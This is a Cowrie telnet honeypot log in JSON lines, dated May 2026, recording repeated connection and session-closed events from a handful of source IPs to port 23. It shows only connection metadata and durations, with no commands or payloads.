{"eventid":"cowrie.session.closed","duration":31.593998670578003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:51.999635Z","src_ip":"104.167.8.156","session":"49cdccca191a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.14856767654419,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:52.514615Z","src_ip":"188.208.141.113","session":"efe7661e1336","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46980,"dst_ip":"10.17.0.5","dst_port":23,"session":"873fa284dd90","protocol":"telnet","message":"New connection: 104.167.8.156:46980 (10.17.0.5:23) [session: 873fa284dd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:52.540859Z"}
{"eventid":"cowrie.session.closed","duration":31.31574773788452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:52.808485Z","src_ip":"104.167.8.156","session":"df922a683430","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48868,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ce830d87b4e","protocol":"telnet","message":"New connection: 104.167.8.156:48868 (10.17.0.5:23) [session: 7ce830d87b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:53.086578Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48876,"dst_ip":"10.17.0.5","dst_port":23,"session":"fad8f750c442","protocol":"telnet","message":"New connection: 104.167.8.156:48876 (10.17.0.5:23) [session: fad8f750c442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:53.090448Z"}
{"eventid":"cowrie.session.closed","duration":31.104207515716553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:53.611876Z","src_ip":"104.167.8.156","session":"16c9a89edd02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40268,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf49cc15692","protocol":"telnet","message":"New connection: 104.167.8.156:40268 (10.17.0.5:23) [session: 6bf49cc15692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:53.680974Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51132,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2fe51689742","protocol":"telnet","message":"New connection: 104.167.8.156:51132 (10.17.0.5:23) [session: a2fe51689742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:53.718809Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40976,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b9214ef688d","protocol":"telnet","message":"New connection: 104.167.8.156:40976 (10.17.0.5:23) [session: 7b9214ef688d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:53.896456Z"}
{"eventid":"cowrie.session.closed","duration":31.325087308883667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:54.713611Z","src_ip":"104.167.8.156","session":"589140cf9d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55688,"dst_ip":"10.17.0.5","dst_port":23,"session":"6848634cb5ef","protocol":"telnet","message":"New connection: 104.167.8.156:55688 (10.17.0.5:23) [session: 6848634cb5ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:54.939872Z"}
{"eventid":"cowrie.session.closed","duration":30.873024225234985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:55.089809Z","src_ip":"104.167.8.156","session":"67ef75714421","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008031845092773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:55.170168Z","src_ip":"104.167.8.156","session":"920d02da328f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95030641555786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:55.263668Z","src_ip":"104.167.8.156","session":"81bf278ab194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":45046,"dst_ip":"159.203.135.109","dst_port":23,"session":"655b0891476a","protocol":"telnet","message":"New connection: 64.227.9.242:45046 (159.203.135.109:23) [session: 655b0891476a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:55.413617Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53998,"dst_ip":"10.17.0.5","dst_port":23,"session":"784070b9afa1","protocol":"telnet","message":"New connection: 104.167.8.156:53998 (10.17.0.5:23) [session: 784070b9afa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:55.446090Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":46462,"dst_ip":"159.203.135.109","dst_port":23,"session":"34d40a6499aa","protocol":"telnet","message":"New connection: 98.70.41.28:46462 (159.203.135.109:23) [session: 34d40a6499aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:55.454609Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58228,"dst_ip":"10.17.0.5","dst_port":23,"session":"85e6f6ea5b2e","protocol":"telnet","message":"New connection: 104.167.8.156:58228 (10.17.0.5:23) [session: 85e6f6ea5b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:55.636000Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58452,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b119fedff3b","protocol":"telnet","message":"New connection: 104.167.8.156:58452 (10.17.0.5:23) [session: 5b119fedff3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:55.717641Z"}
{"eventid":"cowrie.session.closed","duration":52.39196848869324,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:55.801727Z","src_ip":"188.208.141.113","session":"8d1371a6b7df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47964,"dst_ip":"10.17.0.5","dst_port":23,"session":"0439b0b18482","protocol":"telnet","message":"New connection: 104.167.8.156:47964 (10.17.0.5:23) [session: 0439b0b18482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:55.849401Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59249,"dst_ip":"10.17.0.5","dst_port":23,"session":"c88a37df0da3","protocol":"telnet","message":"New connection: 104.167.8.156:59249 (10.17.0.5:23) [session: c88a37df0da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:55.939830Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56116,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c51f5b4422f","protocol":"telnet","message":"New connection: 104.167.8.156:56116 (10.17.0.5:23) [session: 9c51f5b4422f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:56.084267Z"}
{"eventid":"cowrie.session.closed","duration":30.811922311782837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:56.284834Z","src_ip":"104.167.8.156","session":"3f6e1e7dcae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57710,"dst_ip":"10.17.0.5","dst_port":23,"session":"552c5bd15a9e","protocol":"telnet","message":"New connection: 104.167.8.156:57710 (10.17.0.5:23) [session: 552c5bd15a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:56.508347Z"}
{"eventid":"cowrie.session.closed","duration":31.276620149612427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:56.536766Z","src_ip":"98.70.41.28","session":"2c36f7fe431a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33248,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e019b973928","protocol":"telnet","message":"New connection: 104.167.8.156:33248 (10.17.0.5:23) [session: 4e019b973928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:56.541618Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33424,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba19229c33eb","protocol":"telnet","message":"New connection: 104.167.8.156:33424 (10.17.0.5:23) [session: ba19229c33eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:56.585980Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58242,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e19ca674ab3","protocol":"telnet","message":"New connection: 104.167.8.156:58242 (10.17.0.5:23) [session: 9e19ca674ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:56.641923Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33626,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b0d32178d29","protocol":"telnet","message":"New connection: 104.167.8.156:33626 (10.17.0.5:23) [session: 7b0d32178d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:56.654015Z"}
{"eventid":"cowrie.session.closed","duration":31.424480199813843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:56.697123Z","src_ip":"104.167.8.156","session":"7dc4736e2999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34538,"dst_ip":"10.17.0.5","dst_port":23,"session":"3af081b5328d","protocol":"telnet","message":"New connection: 104.167.8.156:34538 (10.17.0.5:23) [session: 3af081b5328d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:56.874609Z"}
{"eventid":"cowrie.session.closed","duration":31.027085304260254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:56.984455Z","src_ip":"104.167.8.156","session":"bdbb974672cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.731207847595215,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:57.010625Z","src_ip":"188.208.141.113","session":"65be6901da6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52708,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f66a594b569","protocol":"telnet","message":"New connection: 104.167.8.156:52708 (10.17.0.5:23) [session: 9f66a594b569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:57.088866Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42852,"dst_ip":"10.17.0.5","dst_port":23,"session":"5edad78307c2","protocol":"telnet","message":"New connection: 188.208.141.113:42852 (10.17.0.5:23) [session: 5edad78307c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:57.128966Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35874,"dst_ip":"10.17.0.5","dst_port":23,"session":"829452cf1252","protocol":"telnet","message":"New connection: 104.167.8.156:35874 (10.17.0.5:23) [session: 829452cf1252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:57.178421Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36522,"dst_ip":"10.17.0.5","dst_port":23,"session":"cebf88e27800","protocol":"telnet","message":"New connection: 104.167.8.156:36522 (10.17.0.5:23) [session: cebf88e27800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:57.342603Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60906,"dst_ip":"10.17.0.5","dst_port":23,"session":"5272967cf7de","protocol":"telnet","message":"New connection: 104.167.8.156:60906 (10.17.0.5:23) [session: 5272967cf7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:57.384953Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37262,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a4fc44e3604","protocol":"telnet","message":"New connection: 104.167.8.156:37262 (10.17.0.5:23) [session: 8a4fc44e3604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:57.578223Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33602,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b9642770bab","protocol":"telnet","message":"New connection: 104.167.8.156:33602 (10.17.0.5:23) [session: 3b9642770bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:57.644058Z"}
{"eventid":"cowrie.session.closed","duration":30.859482526779175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:57.693385Z","src_ip":"104.167.8.156","session":"a7dd1cdc71d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.362472772598267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:58.257008Z","src_ip":"104.167.8.156","session":"2c6366f4c59a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39830,"dst_ip":"10.17.0.5","dst_port":23,"session":"156c34df868a","protocol":"telnet","message":"New connection: 104.167.8.156:39830 (10.17.0.5:23) [session: 156c34df868a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:58.311644Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39874,"dst_ip":"10.17.0.5","dst_port":23,"session":"74b17a36dfb2","protocol":"telnet","message":"New connection: 104.167.8.156:39874 (10.17.0.5:23) [session: 74b17a36dfb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:58.320899Z"}
{"eventid":"cowrie.session.closed","duration":30.97321653366089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:58.369915Z","src_ip":"104.167.8.156","session":"ff111a716b95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682774305343628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:58.609808Z","src_ip":"104.167.8.156","session":"029fffafcb6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41002,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfd850ede1a4","protocol":"telnet","message":"New connection: 104.167.8.156:41002 (10.17.0.5:23) [session: dfd850ede1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:58.691285Z"}
{"eventid":"cowrie.session.closed","duration":31.37798571586609,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:59.001664Z","src_ip":"104.167.8.156","session":"6159ee886915","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42480,"dst_ip":"10.17.0.5","dst_port":23,"session":"1502e31d4ba8","protocol":"telnet","message":"New connection: 104.167.8.156:42480 (10.17.0.5:23) [session: 1502e31d4ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:59.111276Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43268,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b2b1e927924","protocol":"telnet","message":"New connection: 104.167.8.156:43268 (10.17.0.5:23) [session: 8b2b1e927924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:59.274311Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42866,"dst_ip":"10.17.0.5","dst_port":23,"session":"605820de61aa","protocol":"telnet","message":"New connection: 188.208.141.113:42866 (10.17.0.5:23) [session: 605820de61aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:00.370838Z"}
{"eventid":"cowrie.session.closed","duration":46.59252977371216,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:00.645554Z","src_ip":"69.65.3.189","session":"05066ec8d838","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287084341049194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:00.813685Z","src_ip":"98.70.41.28","session":"da82ea6b5cca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95447587966919,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:00.869784Z","src_ip":"104.167.8.156","session":"30d8c5153369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49690,"dst_ip":"10.17.0.5","dst_port":23,"session":"1adfc82280e9","protocol":"telnet","message":"New connection: 104.167.8.156:49690 (10.17.0.5:23) [session: 1adfc82280e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:01.029632Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47136,"dst_ip":"10.17.0.5","dst_port":23,"session":"7737ef156564","protocol":"telnet","message":"New connection: 188.208.141.113:47136 (10.17.0.5:23) [session: 7737ef156564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:01.382251Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47352,"dst_ip":"10.17.0.5","dst_port":23,"session":"e350b5faff6f","protocol":"telnet","message":"New connection: 104.167.8.156:47352 (10.17.0.5:23) [session: e350b5faff6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:01.386115Z"}
{"eventid":"cowrie.session.closed","duration":31.25355863571167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:01.679369Z","src_ip":"104.167.8.156","session":"730e8ed7dfec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53494,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7fa39aa4183","protocol":"telnet","message":"New connection: 104.167.8.156:53494 (10.17.0.5:23) [session: b7fa39aa4183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:01.999261Z"}
{"eventid":"cowrie.session.closed","duration":30.91123938560486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:02.143797Z","src_ip":"104.167.8.156","session":"e027c4e059a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54622,"dst_ip":"10.17.0.5","dst_port":23,"session":"99f20acad0b3","protocol":"telnet","message":"New connection: 104.167.8.156:54622 (10.17.0.5:23) [session: 99f20acad0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:02.299462Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58358,"dst_ip":"10.17.0.5","dst_port":23,"session":"7137eae92598","protocol":"telnet","message":"New connection: 104.167.8.156:58358 (10.17.0.5:23) [session: 7137eae92598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:03.318599Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":46478,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d650cf6b332","protocol":"telnet","message":"New connection: 98.70.41.28:46478 (159.203.135.109:23) [session: 8d650cf6b332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:03.478843Z"}
{"eventid":"cowrie.session.closed","duration":31.195996046066284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:03.483962Z","src_ip":"104.167.8.156","session":"c4002c4a02eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0375497341156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:03.973880Z","src_ip":"104.167.8.156","session":"c9a3f259b335","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472759008407593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:04.034712Z","src_ip":"104.167.8.156","session":"92cae8a33e59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.13327407836914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:04.051512Z","src_ip":"104.167.8.156","session":"9f0fe4f3c147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57654,"dst_ip":"10.17.0.5","dst_port":23,"session":"e04bb23ddaf2","protocol":"telnet","message":"New connection: 104.167.8.156:57654 (10.17.0.5:23) [session: e04bb23ddaf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:04.124664Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57994,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c51ea5b1da1","protocol":"telnet","message":"New connection: 104.167.8.156:57994 (10.17.0.5:23) [session: 6c51ea5b1da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:04.204376Z"}
{"eventid":"cowrie.session.closed","duration":31.1255784034729,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:04.223717Z","src_ip":"104.167.8.156","session":"dbb72d717ea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34542,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6d8666142a5","protocol":"telnet","message":"New connection: 104.167.8.156:34542 (10.17.0.5:23) [session: e6d8666142a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:04.583477Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34718,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf823242558","protocol":"telnet","message":"New connection: 104.167.8.156:34718 (10.17.0.5:23) [session: acf823242558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:04.642101Z"}
{"eventid":"cowrie.session.closed","duration":31.539164781570435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:05.005073Z","src_ip":"104.167.8.156","session":"e862767c1a8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53781,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a2bc9c09da8","protocol":"telnet","message":"New connection: 104.167.8.156:53781 (10.17.0.5:23) [session: 6a2bc9c09da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:05.084470Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47152,"dst_ip":"10.17.0.5","dst_port":23,"session":"7386d70e5a00","protocol":"telnet","message":"New connection: 188.208.141.113:47152 (10.17.0.5:23) [session: 7386d70e5a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:05.271456Z"}
{"eventid":"cowrie.session.closed","duration":31.331180095672607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:05.333862Z","src_ip":"104.167.8.156","session":"6763a5e25af7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34890,"dst_ip":"10.17.0.5","dst_port":23,"session":"2758ecda3df1","protocol":"telnet","message":"New connection: 104.167.8.156:34890 (10.17.0.5:23) [session: 2758ecda3df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:05.684573Z"}
{"eventid":"cowrie.session.closed","duration":31.060070991516113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:06.574714Z","src_ip":"104.167.8.156","session":"ffd61b1fcf57","protocol":"telnet"}
